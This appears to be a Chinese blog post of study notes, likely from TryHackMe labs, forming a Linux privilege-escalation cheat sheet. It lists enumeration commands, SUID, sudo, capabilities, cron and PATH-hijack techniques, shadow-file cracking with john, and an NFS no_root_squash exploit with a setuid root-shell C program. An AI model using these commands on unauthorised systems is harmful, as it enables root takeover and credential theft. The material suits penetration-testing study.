linux 提权

linux 提权

linux 提权

linux 本机信息枚举

常见命令

复制代码
hostname # 主机名
uname -a # 查询系统信息
cat /etc/version # 查看进程信息
cat /etc/issue # 查看操作系统信息
ps -A #查看所有正在运行的进程
ps axjf #查看进程树
ps aux #选项将显示所有用户的进程 (a)、显示启动进程的用户 (u) 以及显示未连接到终端的进程 (x)
env # 显示环境变量
sodu -l # 查看用户允许已root权限运行哪些命令
id <username> # 提供用户权限级别的一般概述,以及组成员身份
cat /etc/passwd # 发现系统上用户
history # 查看用户历史命令
ifconfig # 显示网卡信息
ip route # 查看存在的网络路由
netstat -ano 查看网络状态

netstat -a # 显示所有侦听端口和已建立的连接。
netstat -at/-au # 用于列出 TCP 或 UDP 协议 分别。netstat
netstat -l # 显示处于"侦听"模式的端口
netstat -s # 按协议列出网络使用统计信息
netstat -tp # 列出包含服务名称和 PID 信息的连接。
netstat -i # 显示接口统计信息。

find命令大全

复制代码
find . -name flag1.txt # 在当前目录查找文件
find /home -name flag1.txt # 在/home 目录查找文件
find / -type d -name config # 在/下找到名为config的目录
find / -type f -perm 0777 # 查找具有 777 权限的文件
find / -perm a=x # 查找可执行文件
find /home -user frank # 在home目录下查找用户Frank的所有文件
find / -mtime 10 # 查找最近 10 天中修改的文件
find / -atime 10 # 查找最近 10 天访问过的文件
find / -cmin -60 # 查找过去60分钟内更改的文件
find / -amin -60 # 查找过去60分钟内访问的文件
find / -size 50M # 查找大小为 50 MB 的文件
find / -size +50M # 查找大小大于 50 MB 的文件
find / -size -50M # 查找大小小于 50 MB 的文件
2>/dev/null # 将错误重定向到/dev/null
# 查找全局可写的目录的三种方法
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
# 查找全局可执行的目录
find / -perm -o x -type d 2>/dev/null
# 查找开发工具和支持的语言
find / -name perl*
find / -name python*
find / -name gcc*
# 查找具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null

linux 自动枚举工具

复制代码
# LinPeas
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

# LinEnum
https://github.com/rebootuser/LinEnum

# LES(Linux漏洞利用建议器)
https://github.com/mzet-/linux-exploit-suggester

# Linux智能枚举
https://github.com/diego-treitos/linux-smart-enumeration

# Linux隐私检查器
https://github.com/linted/linuxprivchecker

内核提权

利用步骤

复制代码
# 识别内核版本
# 搜索并找到目标系统内核版本的漏洞利用代码
# 运行漏洞利用程序

漏洞来源

复制代码
# 根据您的发现,您可以使用 Google 搜索现有的漏洞利用代码。
# https://www.linuxkernelcves.com/cves等来源也很有用。
# 另一种选择是使用 LES(Linux Exploit Suggester)之类的脚本,但请记住,这些工具可能会生成误报(报告不影响目标系统的内核漏洞)或漏报(不报告任何内核漏洞,尽管内核是易受伤害的)

sudo提权

复制代码
sudo -l # 检查与root权限相关的当前情况
https://gtfobins.github.io/ # 查询具有suid或者sudo权限可以如何提升权限

suid 提权

复制代码
find / -type f -perm -04000 -ls 2>/dev/null # 列出suid/sgid文件
https://gtfobins.github.io/ # suid提权速查
unshadow passwd.txt shadow.txt > passwords.txt # 破解用户名密码
sudo john password.txt # 爆破用户密码
openssl passwd -1 -salt 用户名 密码 # 生成用户名密码的加密

capabilities(功能) 提权

复制代码
getcap -r / 2>/dev/null # 查看启用的功能
https://gtfobins.github.io/ # capabilities提权速查

计划任务提权

复制代码
cat /etc/crontab # 查看计划任务
# 不要忘了加运行权限

环境变量提权

复制代码
echo $PATH # 输出环境变量
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u # 查找可写文件夹
export PATH=/tmp:$PATH # 添加自有环境变量
echo "/bin/bash" > /tmp/thm && chmod +x /tmp/thm # 将bash文件copy成某文件

NFS(网络文件共享)提权

复制代码
cat /etc/exports | grep no_root_squash # 查看nfs配置文件并查看哪些目录可以利用
showmount -e 10.0.2.12 枚举目标机可挂载份额
mkdir /tmp/thm && mount -o rw 10.0.2.12:/backups /tmp/thm && cd /tmp/thm # 挂载目标机nfs

# 创建c语言代码
int main(){
  setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}

gcc nfs.c -o nfs -w && chmod +s nfs && ls -l nfs # 编译c语言代码并赋予suid权限
相关推荐
Flynt2 天前
npm v12 来了:allowScripts 默认关闭,我的项目差点跑不起来
安全·npm·node.js
冬奇Lab7 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
Aphasia31110 天前
VPN 与内网穿透
安全
Mr_愚人派11 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
DaLi Yao12 天前
【无标题】
人工智能·安全
Alsn8612 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院12 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展
treesforest12 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
零零信安12 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
开发小能手-roy12 天前
StringBuilder vs StringBuffer:2024年还需要线程安全字符串吗?
开发语言·python·安全